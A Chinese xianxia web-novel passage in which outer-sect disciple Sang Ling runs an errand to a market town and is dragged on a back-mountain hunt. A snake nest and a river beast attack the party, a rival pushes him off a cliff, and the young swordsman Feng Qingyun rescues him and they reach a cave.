他去灵田替班、摔下灵田无人搭救、点名时被刻意忽略……怕都是有人从中作梗。 可惜了,他命硬。 桑灵攥紧手中玉佩,冷冷关上院门。 手中玉牌温热。 也罢,负责灵田便负责灵田吧,好歹是份正经差事,梨院给出的月例可比外门高多了。有了通行玉牌,日后行动也方便许多。 他如此安慰自己。 将符纸收好,洗净了手,桑灵换上外门弟子服,准备下午的活儿。 山下坊市的玄机阁分行派人前来传话,前段时日有位内门弟子在拍卖分行拍下宝物,因走得匆忙,没来得及拿文书凭证,需要宗门这边派个人,将文书取回来。 下山一趟异常繁琐,事多钱少,没人愿意去。 但桑灵愿意。 外门弟子能接触到的消息太少,很多事物于内门弟子而言是常识,对他却是闻所未闻。 因此,桑灵从不拒绝别人丢来的杂活。 每多去一个地方,他就多一份机会。 这趟下山跑腿,除了取东西,桑灵还要顺路寄信,再看看坊市有没有便宜好用的符纸。 更重要的是,他近日迫切需要外出。 话本中,仙二代受伤剧情即将发生。 风清云会在后山受伤,恰逢主角在场出手相救。 他性子矜傲桀骜,骨子却传统专情,一旦动心便极其执拗粘人。后山被救剧情是他情根深种的开端。 算算时间,差不多就是这几日。 风清云是天之骄子,与主角绑定命运,受伤遇险不过是推动感情的催化剂,自是有惊无险。 可桑灵只是个小炮灰,一旦提前卷入剧情,哪怕只是被波及一点点,也许都会有性命之忧。 桑灵想好了,这段时间他尽量远离宗门核心区域,尤其是后山一带。远离宗门,才是最稳妥的选择。 他不在后山现场,总不至于这段剧情还能拐着弯让他遇上吧? 坊市熙攘车马喧阗。 “新鲜出炉的灵茶!不甜不要钱嘞!” “剑尊同款符箓,除魔辟邪,便宜大甩卖了!” “仙长,丹药看一下吗?一粒下去精神百倍!” 两侧小贩扯嗓吆喝叫卖,热腾腾的包子散发鲜香,花花绿绿的棚子支在道路两侧,来往行人不绝,充满人间烟火气息。 桑灵没急着去玄机阁取文书凭证,拐进右侧小巷深处。 眼前这件商铺铺面不大,黑木牌匾书写“邮驿阁”。 这是凡人与低阶修士常用的信件驿站,偶尔也接些跑腿杂活。 桑灵刚迈进门槛,檐下鸟笼中鹦鹉立刻振翅热情道:“有客人来啦!” 柜台后方,穿着短褂的伙计正支头打瞌睡,脑袋一点一点,听见响动,不紧不慢地起眼皮上下扫了一眼来人,皮肤白生生的,但一身粗布麻衣、个头纤细矮小,像一根发育不良的豆芽菜。 “请问可有花都杏花村的来信?”桑灵礼貌问道。 伙计想也不想:“没有!” 入宗五年,桑灵每隔一两月便会给村中寄一封信,再将部分月例换成凡间碎银寄回村里,报答村民的养育之恩。村长小儿子林知行也会给他回信,信件通常月中到达。 如今已是月底,按照惯例回信早该到了。 桑灵轻声:“能否请您再仔细查查?或许是信札归类放错,或署名疏漏……” “都说了没有!你这人怎么听不懂人话……”伙计不耐烦抬头,正要将这个穷酸小子打发出去,眼神敏锐捕捉到对方身上的碧涛浪花纹,脸上登时堆起热情笑容,“哎哟!原来是碧海云天的小仙长,恕小的眼拙!” 他手脚麻利地蹦下凳面,点头哈腰道,“您稍等,小的再给你好好查查,仔仔细细地查!” 伙计手指蘸着唾沫,将登记簿翻得哗啦啦响,“有的有的,前日刚到!” 桑灵当场拆封信件,信中说村庄一切平安,近日还有仙人来到杏花村租借土地种植灵石,他们因此赚了不少钱。 见一切无恙,他才放心。 前往玄机阁的路上,灵犀草奇怪道:【宗内也有邮驿,为何你要偷偷摸摸寄信?】 “碧海云天宗训‘大道无为’,弟子需断凡尘杂念,舍去亲缘,方能道心澄净。” 无生死大事、特殊缘由,弟子不得与凡间亲友频繁往来制造牵绊。 行至繁华地段,一座气派的五层楼阁巍然矗立。 朱红大门玉石门槛,鎏金牌面上书龙飞凤舞的“玄机阁”三字,角落又刻有“分行”标识。 往来者尽是身着道袍的修士,世家子弟身穿华服、仆从簇拥。 桑灵一身简洁素衣,踏入阁内时,一名机灵的侍从看到他腰间的木牌,立刻热忱迎来:“碧海云天的小仙长来了!管事已交代过,这是提前准备好的文书,请随我来。” 侍从引领桑灵穿过人流熙攘的一楼大厅,侧过回廊靠近时,一阵淡香若有若无扑来。 他下意识鼻翼翕动、追寻香气来源,目光最终落在身旁少年的莹白后颈上。 一行闪烁粉色爱心的文字在脑海中波浪形式飘过:【小0香香的~~】 “这是什么意思?”桑灵困惑,“小蛋?” 【是数字零的意思!】灵犀草大概解释了一番。 原来是谐音。桑灵恍然大悟,他叫桑灵,这也说得通:“确实是我。” 侍者引领桑灵进入一间清雅静谧的独立厢房,奉上灵茶,双手呈来一份封印完好的文书:“仙长,您要取的便是此物,请查验。除此之外,不知现场是否需要购置物品,或是典当寄卖?” 桑灵 确认文书无误,妥善收好。 他试探取出今日刚画好的清洁符:“请问贵阁收此类符箓吗?” 侍从瞥了眼,便面露难色:“仙长恕罪,这是最基础的清洁符吧?坊市东边杂货铺内三张不过一块下品灵石,市井铺子到处都是。我们玄机阁虽是分行,也收符箓,但至少是中品以上的高等符箓,初级符箓实在入不了库房名录。” 桑灵了然。 符箓入门门槛较低,基础符箓卖不上高价。 “若仙长有更高品阶的符箓,我们也能收的。” 桑灵面容平静不答,心虚翻过一页,他倒是想。 符箓品阶与绘者悟性、天赋息息相关,以他自学至今的能力,只能绘制基础符箓。 侍从取过一旁精美的册子:“半年后是群英萃,与防御强攻有关的高阶符箓丹药都是抢手货,大批修士囤货,价格水涨船高,这时出手再合适不过。” “您瞧,明日拍卖中的上品‘玄焰高阶护甲符’起拍价才十块中品灵石呢!” 【好命苦,你一个月全勤无休,月例才不到10下品灵石!】 一枚中品灵石,能兑100块下品灵石。 桑灵默默合上册子还回去。 修丹道如养吞金兽,莫说丹炉火种,最基础的灵植耗材、失败一次的损耗,都够他攒上许久。 幸好他从未执着丹道。 走出玄机阁,桑灵回头抬头看了眼那气派的鎏金牌匾。 若想以符箓谋利,还得学习高阶符箓,他得想办法弄几本高阶教材。 天色渐晚,到了该返程归宗的时间。 当下桑灵在凡间坊市,回宗交完差便马上回住处,一天下来要么在宗外、要么在外门,总不能还能遇见风清云,撞上所谓的后山受伤剧情吧? 桑灵又在街道逗留片刻,才慢吞吞打道回府。 经过一处繁华街市,前方骤然传来熟悉的谈笑声。 “风师兄我打听过了,后山确有一处上古神庙遗迹,不过有些年头,说不定真藏着前人的机缘!” “不如我们结伴同游,前去探险?” 是赵韩的声音。他一开口,四周少年纷纷起哄,“是啊风师兄!难得清闲,正好我们猎几只低阶妖兽烤来解馋,说不定运气好碰着机缘呢!” “只是生火料理实在繁琐,我等哪会做这些粗活?”一位华服锦袍捏着折扇苦恼摇头。他身旁的赵韩异常机灵,“赵师兄,这等小事哪能劳烦各位?喊几个杂役过来便是,方才我还看到几个下山跑腿的外门弟子……” 前方不远处,几个身着锦袍的少年站在街口说说笑笑。 被簇拥着的黑发少年神色冷淡矜傲,墨发以一根浮光红缎带高高竖起,一身雪色锦袍。正是昨夜持剑挑起他下巴的风清云! 桑灵特地接远离宗门的活儿,就是为了避开风清云,谁料还是叫他碰上了! 他立刻转身避让,拔腿就跑,试图混入人流之中。 偏偏赵韩眼尖喊住了他:“桑灵——你,站住!” 赵韩三步并作两步冲了过来,一把扯住桑灵的胳膊,不由分说将他拽进众人跟前,“没见诸位师兄在此?我们要去后山野猎,正好缺个打杂的。你跑什么?” 桑灵被半拖半拽拉到这群少年面前。 像发现什么有趣的事儿,原本说说笑笑的少年们,一脸新奇围了过来。 被困在人墙正中央的桑灵,面容稚气微消,额间一抹明艳的红,鬓边还有毛茸茸的碎发。 明明穿着灰扑扑的外门弟子服,却将自己打理得异常干净,凑近了,还能闻到一股淡淡的玉兰香气。 发带不知何时散落,满头乌发如瀑披散在身后,随着他的颤抖微微浮动。 再定眼一瞧,那张清丽面庞的细节却变得模糊起来,只记得他皮肤素白,额心一抹红鲜艳欲滴,还有那挥之不去的诱人冷香。 朦朦胧胧的矛盾感,反而引得他们心生探究,不自觉又逼近一步,想要看得再清楚些。 被一群衣着光鲜、身量明显高于自己的少年围在中间,桑灵浑身绷得很紧,单薄肩胛骨不自觉向内收拢。 双手无意识交握绞在身前,露出一截伶仃白皙的腕骨,在宽大粗糙袖口的对比下,白得晃眼。 那位华衣锦服的“赵师兄”饶有兴致缓步绕着圈上下打量桑灵:“你是外门弟子?” “瞧着面生,从前怎没有见过你?”另一个少年凑近俯身,鼻翼翕动,像在沉浸嗅着什么。 桑灵僵硬抬头,正要回话,恰好看见风清云微微侧首,一双冷淡的丹凤眼越过包围他的人群,视线似有似无落在他身上。 4.坠崖 “不是说去后山么?” 立于人群外的风清云忽然出声。赵丹等人俱是一愣,他们虽百般怂恿,却未料这位以矜傲闻名的风清云当真会应允同行。 入门以来,风清云无视所有人的阿谀奉承、独来独往,只偶尔与其表兄结伴。 “还愣着做什么?风兄都发话了!”赵丹眼中闪过喜色,唰一声收起手中描金折扇,“都麻利些,收拾好东西,即刻出发!” 方才还围着桑灵打转的众人立刻整装待发。 风清云举步先行,余光淡淡扫过队伍末尾的纤薄身影,眉宇极轻地皱了皱。 后山险峻暗藏凶险,他们前去探秘境寻机缘,并非春日踏青,带手无缚鸡之力的外门杂役,除了平添累赘,有何用处? 风清云心高气傲,不会在这种琐事上多费口舌。 如若发生什么意外,他绝不会多管闲事。 赵韩也猜中了风清云的心中所想。 他拼命巴结的摇扇少年名赵丹,是丹鼎宗首席亲传弟子,此番来碧海云天交流论道,提前为半年后的群英萃铺路,更是宗门上下皆需礼待的贵客。 他们恰好同姓。赵韩仗此百般讨好,靠家中阔绰、出手大方,勉强混进了赵丹的圈子,也打听到不少内幕消息。 近日综测规则改革,赵韩资质尚可、理论薄弱,极有可能跌出前三,痛失晋升内门的机会。 可若榜首的桑灵不知不觉消失…… 赵韩快步走到桑灵身边,将一个鼓鼓囊囊塞进桑灵怀里:“山路陡峭湿滑,你给我仔细些!可别摔了碰了误了大家的事!” 沉甸甸的包袱入手,几乎完全掩住桑灵的单薄上身,压得他身形不稳,如暴风雨中的伶仃树苗,摇摇晃晃。 这时,一位内门弟子从前折返过来,轻松提走桑灵怀中的包袱,递来一物:“桑灵是吧?这是风师兄新购的材料,质地珍稀,你可要仔细保管。” 原以为是何等贵重的法器,定睛一看,却是一串流光溢彩的丝线。 “风师兄新得了个琉璃玉,需要配新穗子,这天蚕冰线娇贵珍惜,瞧你手还算干净细嫩,可会编穗?”内门弟子给桑灵看了下图册款式。 桑灵茫然点点:“会。” 赵韩神色僵住,他原想借着山路湿滑,桑灵身负重物,一不小心跌落山体也是正常的。如今接了风清云的任务,其他人自然不得使唤。 希望落空,只得悻悻作罢。 深入碧海云天后山,山路愈发抖窄崎岖,两旁树木枝干虬结扭曲,林间幽暗潮湿,层层枝叶遮天蔽日,热得像一口蒸笼。 脚踩在泥土间又软又黏糊,桑灵鼻尖沁出细密汗珠,外门弟子服已被汗水浸透,湿漉漉贴在背上。 手中小心握着那串丝线,左手手背胡乱抹去脸上汗水,蹭过额心一抹红,化作淡淡薄粉,像胭脂被汗水洇成一片诱人水红。 刚抹了把脸,桑灵恰好看到风清云抱剑沉思,察觉到他的注视,风清云蓦地偏头看过来。 他赶忙避开目光,远远跟在队伍最末,生怕离风清云太近。 后山受伤剧情……不会就是等会吧? 灵犀草幽幽道:【本草认为,不出意外的话,就要出意外了。】 林间风平浪静,谁能伤到风清云? 早知该多在坊市逗留片刻,否则也不会被赵韩捉住同行。取来的文书也被交由其他弟子,无法成为拒绝的借口。 燥热扑面而来,赵丹失去摇扇的闲情:“这鬼地方当真有神庙遗迹?我们已寻了半天,眼瞧太阳就要落山,连个影子都没瞧见!别是唬人的吧?” 赵韩忙陪笑道:“赵师兄莫急,传闻碧海云天宗后山有一上古神庙遗迹,百万年前山体崩裂,神庙洞口被乱石掩盖,自此消失。遗迹内藏有上古秘法、天材地宝……机缘无数!” “历来探险者无数,却非死即疯,后来宗门才下令,未经许可不得擅入后山深处。” 若传闻是真,说明无人真正深入神庙遗迹,里面的机缘不可估量。 风清云此行目的亦是这座神庙。 行至一处空地,众人暂时歇脚,有人利落支起烤架,处理方才顺手猎得的绒兔。 鲜美肉香弥漫滋啦声响。 内门弟子争先围在风清云身边,殷勤送上肥美大块的烤兔腿。 风清云不曾睁眼,只淡漠道:“拿下去分了吧。” 因这句话,队末的桑灵也分得一块兔肉。 寻了处远离人群的溪边青石坐下,他从怀中取出素帕,仔细将兔肉包好,这才双手捧着,低头慢吞吞咬下一口。他吃相斯文缓慢,腮帮子随着咀嚼微微鼓动。 他食量小,兔肉也不大,很快便吃完了。用干净的帕子一角仔细擦拭唇角,指尖一直清清爽爽,连一点儿油星都未粘上。 灵犀草蓦地出声:【风清云在偷看你哦。】 桑灵被吓一跳,下抬头望去,不偏不倚撞上那道平淡无波的视线。 他像受惊的兔子立刻垂下脑袋,盯住指尖认真推测:“他是不是觉得我没编穗子,在偷懒?” 【我没招了。】 一定是这个缘由。 桑灵走到岸边,溪水汩汩流淌,粼粼水面飘着几片落叶,竟是凝阴草。 掌心掬起清凉清水泼在脸上,洗净手脸,重新坐回青石,认真研究手中天丝。 风清云尚未收回视线。 他虽不像表兄过目不忘,但记忆力也是超群,不知为何,他总记不住桑灵的长相,只隐约记得那张巴掌大的小脸上,额心有一抹漂亮的红。 远远望去,少年规矩端坐在溪边青石上,微微垂首,乌发松垮地束在身后,几缕湿发帖在瓷白的鬓边、颈侧,手指在五彩绳间灵活穿梭,骨骼修长线条秀美。 天蚕丝线缠绕在他指尖,千金难换的珍材,却比不上他的手指娇贵,细嫩指尖被磨得微微泛红。 林间蔼蔼,水雾氤氲,单薄剪影上映着透过树荫的光斑,面庞朦朦胧胧。 越瞧不清,越让人想一探究竟。 风清云眉宇皱起,移开了视线。 休整完毕,众人再度启程。 又是半个时辰,始终一无所获。 赵丹脸上彻底没了笑意,满心郁结无处发泄,猛地抽出腰间佩剑,泄愤般斩断古树下的一丛野草:“什么鬼地方?” 桑灵鼻翼微微翕动,嗅到怪异的香腥味。 他跟紧队伍,警惕环顾四周,小脸突然皱了起来。 地面堆积的落叶皆是腐叶,厚重得异常,透着暗褐,表面散发若有若无的腥气。 一旁树木生长旺盛,不见枯败腐烂,树干旁堆簇生长矮草,叶片细长、边缘生长鳞片状的锯齿,泛着诡异磷光。 “我们不能再往前走。”桑灵连忙出声,“这里可能是蛇窟,不宜久留,我们应马上离开……” 全程,桑灵像透明人一样飘在队伍最后,突然出声,所有人都诧异看了过来。 赵韩当下正憋着火,闻声怒斥:“嚷嚷什么?你一废灵根懂什么!” 他们都没瞧出周围有异,哪轮得到一杂役指手画脚? 桑灵抿唇不语,目光扫过草窠周围,脸色又白了几分。 “继续说。” 风清云不知何时走了过来,“你如何判断这里是蛇窟?” 尽管风清云只比桑灵年长两岁,身量却天差地别。桑灵的身形几乎被完全笼罩,微微仰着头,指了指参天古树旁的杂草:“这是蛇鳞草,又名引蛇草,表面覆盖蛇鳞般的锯齿,通常生长在蛇类聚集之地,其汁液蕴藏微弱灵气,对嗜灵的蛇种有极强吸引作用。” “地面正是被蛇类吸收完毕的蛇鳞草,表面覆盖腥气,多有压痕。看腐叶厚度与蛇鳞草长势,盘踞在四周的蛇恐怕不少。” “这里极有可能是一处蛇窟。” 风清云方才便觉周遭气息诡异,林间草木长势反常、湿气过重,只是尚未摸清根源,故不曾多言。 世间灵植千万,蛇鳞草并不常见,除非对灵植有极深兴趣与钻研,寻常修士根本不知此草。即便知晓,也未必观察入微,在漫山遍野的草木中一眼认出。 风清云对灵植只略懂皮毛,他问:“蛇鳞草中蕴藏微弱灵力,其汁液对蛇类有吸引作用?” “对。” “据我所知,喜爱食用草木之灵的蛇,只有隐木蛇。” “隐木蛇?!”有人失声惊呼,“那可是二阶妖兽!” 而他们之中,唯有风清云是筑基修为。 最要命的是,隐木蛇极擅长隐匿,若蛇阵成群则会释放迷障,在黑暗中威力加倍! 而现在,天马上要黑了。 风清云:“你叫桑灵?” 桑灵愣住,抿唇低头:“……是。” “你如何认得蛇鳞草?” “我在灵田劳作需辨识诸多草药,曾翻阅过一些杂书……方才所言,都是胡乱猜测。” 风清云不置可否,重复道:“猜的。” 观察入微,吐字清晰,可不像胡乱猜测。 “你修为低下。”桑灵肩头耷拉下来,神情也跟着萎靡,手指刚揪紧衣角,一道灵光自风清云指尖弹出,将他罩在其中。 他错愕望去,又听风清云说,“跟在我身边。” 风清云竟给他设下了保护阵法。 桑灵缓缓睁大眼睛,他一直认为风清云是不可一世的仙二代,自是看不起他这等外门杂役。初次见面,风清云便傲慢地用剑挑起他的下巴,他的死生就在对方一念之间。 尽管没有直言,但他很怕风清云。 “啊啊啊什么鬼东西!滚开!!” 古树下的赵丹发出凄厉尖叫,丢开折扇疯狂拍打自己的面颊。 只见他脸上趴着一条筷子粗细的碧绿小蛇,一群人手忙脚乱上前帮忙,将小蛇拍弹开后,又胡乱用剑刺向杂草中的小蛇泄愤。 一条隐木巨蛇自巨树枝干上倒挂垂下,正昂首嘶嘶吐着猩红信子。 它的体型,比方才的幼蛇大了千百倍! 桑灵听见身旁风清云低骂:“蠢货!” 蛇尸断裂,蛇鳞草被长剑捅烂后,汁液混着淡淡灵气扩散。 整片密林瞬间活了过来,吐信嘶声重叠交织,虬结的古树枝干上、茂密绿叶后、地面厚重的腐叶层中,亮起无数双灼灼竖瞳! 一条眼泛红光的隐木蛇如闪电般从树梢上弹射而出,直扑树下的赵丹。 风清云长剑出鞘,剑气纵横,蛇身立刻被斩成两段! “走!” 风清云当机立断,身形瞬息掠过数丈距离,将脸色煞白的桑灵捞起夹在手臂下。 桑灵:“……” 灵犀草啧啧道:【大卡车颠小猫算虐猫吗?】 不仅桑灵懵了,赵丹等人都看得目瞪口呆。 风清云年少成名,天资卓绝,性情更是孤高矜傲,不喜他人近身,当下竟主动触碰他人! 漫天蛇群嘶吼紧追不舍,风清云硬生生劈开一条道路。 长期发育不良的桑灵,身体只有薄薄一片。他被夹在臂弯间,姿势别扭,很不舒服,他也看到风清云眉目紧锁,这个姿势显然大大限制身体的灵活性,不利于战斗。 他想活着。当下只有风清云活着,他才能安然无恙。 蛇群追赶下,众人一路狂奔,躲进一处天然山洞。 剑光雪亮如潮,风清云用剑气封住洞口,暂时隔绝外面的蛇群。 洞内一片漆黑,腥臭潮热。 在风清云后退稍作休整时,桑灵迟疑片刻,抬起手臂轻轻勾住风清云的脖子,双腿主动缠抱上去,整个人挂在风清云身上。 这样就不会妨碍风清云出剑了。 握剑的手猛地一抖,风清云惊愕低头望向怀中少年,四目相对又迅速偏转开。 桑灵以为风清云是嫌弃自己。 可一抬头,他看到风清云耳根连带脖颈,全都红透了。 灵犀草:【哇哦,这画面有点火热哦,我都不敢看了。??】 有人点亮照明符,照亮狭窄山洞。赵丹脸色难看:“现在怎么办?外面全是蛇,我们被困死了!” 洞口被临时封印,阻挡不了隐木蛇多久,他们必须另寻出路。 风清云正在思索,温软吐息悄然挨上耳畔:“这里有风。” 风清云垂眸看向桑灵。被单臂抱在他身上的桑灵,指尖轻轻抚过岩壁,“这里有一条很小的裂纹,后方可能有其他出口。” 风清云掌心贴上岩壁,果然有流动的风。 大量灵力灌注掌心,岩壁破碎,眼前视野豁然开朗! 一条河流横在前方,看起来很浅,水面上错落分布大小礁石,对岸是更加开阔的森林。 绝处逢生,赵丹等人喜极而泣。 “游过去?这水看起来很浅。” “水下也许有妖兽,尚不知路通往何处,万一绕回蛇窟怎么办?” 赵丹发丝凌乱,眼尾赤红:“那要怎么样?我们就困死在这里?!”他怒不可遏,一脚将赵韩踹得翻滚在地,“都是你!好端端提什么去后山?!” 赵韩重重摔在乱石之上,岩壁微微晃动,细碎石子震颤掉落。 风清云凝神观察,道:“灵力波动容易引发坍塌,且隐木蛇嗜灵。从现在开始,都把剑收好,尽量别动用灵力。” 众人连忙收剑:“风师兄,你有办法了吗?” “在想。” 袖子突然被小幅度扯了扯。风清云见桑灵抓住他的袖子,仰着脸看向河面:“河面飘着凝阴草的叶子。” 风清云垂首看向他。 “凝阴草种在首席师兄的私产灵田,整个碧海云天只有西苑有。”桑灵解释。 这条河是活水,上游连接内门灵泉。 风清云明白了:“这是从内门西苑灵泉飘来的凝阴草。” “所有人收敛气息,沿河面石子行走,少用灵力,不得御剑飞行。” 大大小小的礁石延伸,河水又浅,步行并不困难。 赵丹第一个踩上礁石,他迫不及待离开这个鬼地方,好不容易死里逃生,生怕慢一步便会葬身在此。 过了近一半的河,他终于失去耐心,灵力催动长剑出鞘,踏剑而去! 细微灵力波动,引得本就脆弱的岩壁洞穴开始晃动。 洞口布下的封印在剧烈的震颤中出现裂痕,蛇群再无阻碍,纠缠着疯狂游弋而来,密集尖锐的嘶嘶声交错重叠,直叫人头皮发麻! 真是个蠢货!风清云心中低骂,长剑已然出鞘。 这时,河水骤然翻滚,水花滔天。 足下礁石剧烈晃动,他们被迫御剑升空。 水面上的礁石缓缓蠕动,巨大无比的头颅从河水中缓缓抬起,后背覆满凹凸不平的坚硬疙瘩,两只巨眼黄如灯笼,鼻腔不断喷出粗气,愤怒注视这群扰人清梦的不速之客。 巨兽狂啸一声,庞大身躯在水下猛地一翻,掀起数丈高巨浪,瞬间将空中所有人狠狠甩回岸边! 几个弟子被摔得口鼻喷血,连滚带爬往岸上逃。 桑灵有阵法保护,不算狼狈。风清云动作很快,衣摆仍被溅湿一块。 前有漫天蛇群,后有巨兽蛰伏,河道被彻底封死。 “鉴月!” 千钧一发之际,风清云咬破手指抽出长剑,本命灵剑感应到主人鲜血,清凉剑鸣划破山林。 浩荡灵气扩散,他单臂抱着桑灵跃起,瞬息离开地面七八丈远。 “成阵!” 源源不断的血液顺着凛冽剑光流淌,血红阵法在空中向下缓慢旋转,将众人尽数笼罩。 白光大盛,阵法启动。 眼前光影变化,他们转瞬便被传送到一处空旷山顶。 夜风咆哮,悬崖上所有人惊犹未定。几名弟子瘫坐在地一脸劫后余生,满是震撼。 世人皆知雪碧尘二十岁筑基,已是千百年难得一遇的天骄,而他的表弟风清云十七岁筑基,剑法超然、临危不乱,磅礴灵力远超同龄人。 方才风清云手中抱着一少年,却能凭一己之力对抗蛇群。最后又祭出本命剑以血设阵,传送他们离开! 月色下,风清云另一手执长剑,剑尖垂落在地,一滴滴往下淌着血。怀中仍抱着一人,雪色锦袍沾满血渍、衣袂翻飞,他怀中的少年却一身素白干净。 无人敢靠近他。 只有桑灵知道,风清云脸色惨白如纸、呼吸紊乱,抱着他的手臂剧烈颤抖。 风清云重伤。 强行催动本命剑以血设阵,带众人离开,本就超出筑基修士的极限。 如今他灵力亏空受创,看起来云淡风轻,不过强撑罢了。 桑灵怕加重风清云的伤势,小心翼翼挣动,要从他身上下来。 风清云一愣,低头看了桑灵一眼,随后松开手臂让他双足落地,自己找了处空地打坐调息。 桑灵远远看着风清云。 风清云重伤,现在主角是不是马上要出现了? 话本里说,风清云在后山重伤,恰逢主角在场相救。 同时他们因祸得福,在后山寻得神庙遗迹,取得绝世剑谱。 桑灵正想得出神,耳畔忽然传来一声尖叫。 一条漏网小蛇暗藏在赵韩袖内,趁其不备猛地窜出,张开蛇口朝赵韩扑来! 赵韩下意识拽过身旁的桑灵,狠狠往前一推! 身体骤然失衡,桑灵瞳孔蓦然放大,身体向后仰去,坠入万丈深渊。 “你在做什么?!” 凛冽剑气猝然斩下,赵韩惊叫着闪避,袖袍被粉碎成布垂落,隐木蛇也成了肉泥。 他瘫坐在地浑身颤抖,若非他躲得快,被斩断的便是他的手臂! “赵韩也是无心之失。” 赵韩毕竟是他的跟班,赵丹走过来打圆场,“坠崖而已,未必会死。何况就一外门弟子……” “外门弟子便不是人了么?” 风清云厉声呵斥,目光一扫众人,转身面向山崖,毫不犹豫纵身跳了下去。 5.山洞 罡风呼啸,两道身影急速下坠。 失重感层层叠加,耳畔风声刮得耳膜生疼,天旋地转时,桑灵看到一道雪色身影紧随其后。 风清云居然跟着他跳下来了! 那张面庞离他越来越近,腰身被一条手臂捞过,桑灵被这力道带得,整个人撞进风清云怀里。 风清云正要御剑飞行,剑光却蓦地黯淡下来。 试图再次运剑,灵力如被压制般无法调转。 “你能否调动灵力?” 桑灵听话照做,摇头:“不能。” “此处设有禁制,禁灵禁空。”风清云道,“我们现在与凡人无异。” 桑灵双手紧紧搂住风清云的脖子,身体尽可能贴向对方胸膛,不成为拖累。 风清云低头看了他一眼,随后有了打算。 哪怕在高阶阵法禁制下失去灵力,鉴月到底是上古仙器,剑身坚硬与锋利程度远非凡铁可比。 一手稳稳托抱着桑灵,另一手握剑。风清云猛地将长剑插进悬崖缝隙,星火与石屑齐飞四溅,刮擦金石交击之声。 剑身吃住二人重量,暂时延缓下坠之势。 失去灵力后,他们等同凡躯,风清云说到底也不过十七岁。下坠的冲击力本就惊人,何况怀中还抱着一个。 好在他底子扎实、臂力惊人,而桑灵骨骼纤细、身量轻盈,抱在怀中并不吃力。 但握剑下坠的冲击力仍实实在在。风清云强忍剧痛,贴着崖壁向下滑行时,目光飞速扫过四周,寻找可以落脚的空地。 桑灵忧心忡忡仰起面庞,看到风清云神色紧绷扭曲,额头青筋暴起,虎口被剑柄磨得鲜血淋漓,鲜血顺着指缝流淌,恰好落在他的额间。 他谨慎观察周边,不太确定小声提醒:“那里是不是有个山洞?” 下方不远处,崖壁有一个较为突出的平台,足够二人落脚,后方似有洞口透出些许亮光。 “抱紧我。” 桑灵立刻将风清云抱紧了。 风清云猛地将鉴月从崖壁缝隙中拔出。 二人失去支撑向下坠落数丈,电光石火间,他找到机会,再次将鉴月卡进新的崖壁缝隙,借着这一瞬间的支撑力,单手搂住桑灵的腰,另一手利用鉴月作为支点,携着怀中桑灵稳稳甩向石台! 他们一同摔在凹凸不平的平地上,滚了两圈才停住。 桑灵摔得七荤八素,挣扎着从风清云身前爬起,掌心被碎石划了几道口子,除此之外并无大碍。 反观风清云已彻底昏死过去。手臂、后背、面庞全是伤,鲜血混着泥土,将那身雪色锦袍染得血迹斑斑,灰头土脸,哪还有半分天之骄子的模样? 桑灵呆呆地趴在风清云身上。 直到一股阴冷寒风吹来,他才猛地一哆嗦,再次试探调动自身灵力,毫无波动,看来此地也在禁制覆盖范围内。 灵犀草:【这小登临危不乱,有几把刷子。附近有个山洞,我扫描了下,还算安全,你们要去歇歇吗?】 山洞? 话本剧情中,风清云便是在山洞中获救。 不远处有一个黑漆漆的洞口,想必便是风清云获救的山洞。 也是,纵使没有桑灵,风清云也会被恰好出现的主角救下,顺便寻到古庙遗迹获得机缘。天之骄子,自有天佑。 桑灵沉默拍拍袖口尘土,转身就走。 【我以为你会可怜他,留下来。】灵犀草意外,【毕竟他是为了救你才跳下来的。】 “我可怜他?”桑灵脚步骤然停下,冷笑道,“他一出生就是仙门二代,自幼天材地宝供养,不愁吃不愁穿,是万中无一的变异风灵根。我可怜他?我不如可怜可怜我自己!” 若不是风清云他们结伴来后山探险,他也不会被牵扯其中,更不会被推下山崖。 若非他们与主角爱恨纠缠,他也不会无辜惨死,最后连一具像样的尸首都不曾留下! “反正风清云会被主角捡走,不仅收获一段姻缘,还能获得机缘。我可怜他做什么?” “我还是多操心操心我自己吧!” 桑灵头也不回地走了。 【好宝宝,走得好!】灵犀草双手双脚支持,难掩兴奋,【根据主角定律,危机中必有机缘重宝,神庙遗迹说不定就在附近,要是被我们先找到……哼哼,莫欺少年穷!】 桑灵对神庙遗迹不抱任何期望,即便能找到,他也不一定有命去拿。主角能逢凶化吉,不代表他这个小炮灰也能。 他只想好好活下去。 桑灵猫着腰儿小心翼翼观察地形,四周都是陡峭崖壁,下方峡谷深不见底,他试着寻找其他出路,却发现附近竟只有那个山洞可以歇脚。 现在的风清云,应该已经遇上主角了吧? 寒风吹起单薄的外门弟子服,桑灵忍不住打了个寒噤,搓了搓手臂,四周风声瑟瑟,落在山谷间有如鬼哭狼嚎般的回响。 【你怕鬼?】 桑灵嘴硬:“没有很怕。” 说是这么说,脚下步伐却从小步小步,变成近乎小跑的疾行。 【放心吧,这个秘境没鬼。】见桑灵一脸怀疑,仙草得意道,【我可是修真界的全能豆包——草包!】 桑灵仍不敢放松警惕,耳尖直立竖起,眼睛睁得圆圆的,一边走一边四处张望,生怕从哪个角落里蹦出只妖兽来。 【你怎么又回去了?】 桑灵谨慎折返,大惊失色,风清云竟还躺在原地! 没有主角出来相救,也没有人把他捡走,他就那样孤零零躺在那里浑身是血,脸色苍白如纸。 桑灵快步冲上前,探了探风清云的鼻息,再摸摸风清云的额头、胸口,呼吸与心跳频率微弱,几不可闻。 【他看起来好像有点死了。】 桑灵皱眉:“你能不能说点吉利的?” 【他??看??起??来??有??点????死??了????????】 桑灵忍俊不禁,再看到那张毫无血色的脸,笑意即刻收敛转为惴惴不安。 【他现在看起来只是暂时昏迷,再不挪进山洞,估计真要凉透了。】 冷风肆虐,风清云重伤又无人看护,不可能在露天环境下熬过今晚。 桑灵沉默许久,最终下定决心,抓住风清云的手臂往前拖,铆足了劲、小脸都憋红了皱成一团,风清云仍躺在地上纹丝不动。 风清云虽只有十七,身量骨骼发育极好,个头比桑灵高了一个头。加上此刻昏死在地上,没有一点儿意识,拖起来如千斤重。 【让本草来帮忙……真是服了!】灵犀草骂骂咧咧,【这小子也就十七岁,怎么壮得跟头牛似的?!】 从平台到山洞不过几丈距离,桑灵却花费了近一盏茶,仿佛小蚂蚁搬动比自己大数十倍的猎物,终于将风清云半拖半扶挪进山洞。 整个人像被抽干,桑灵瘫坐在地上大口大口喘气,汗水将里衣浸透贴在后背,头发也散了大半,湿漉漉贴在鬓边。 他边平复呼吸边观察四周。 洞内还算干净,左边角落堆着些枯草、燧石,还有个蒲团,洞壁有烟熏火燎过的痕迹,像有人在此生过火。 右边地面有几块平整的石头,几个裂口的碗,一坛空了的酒。 有人在这里待过,不止一批。 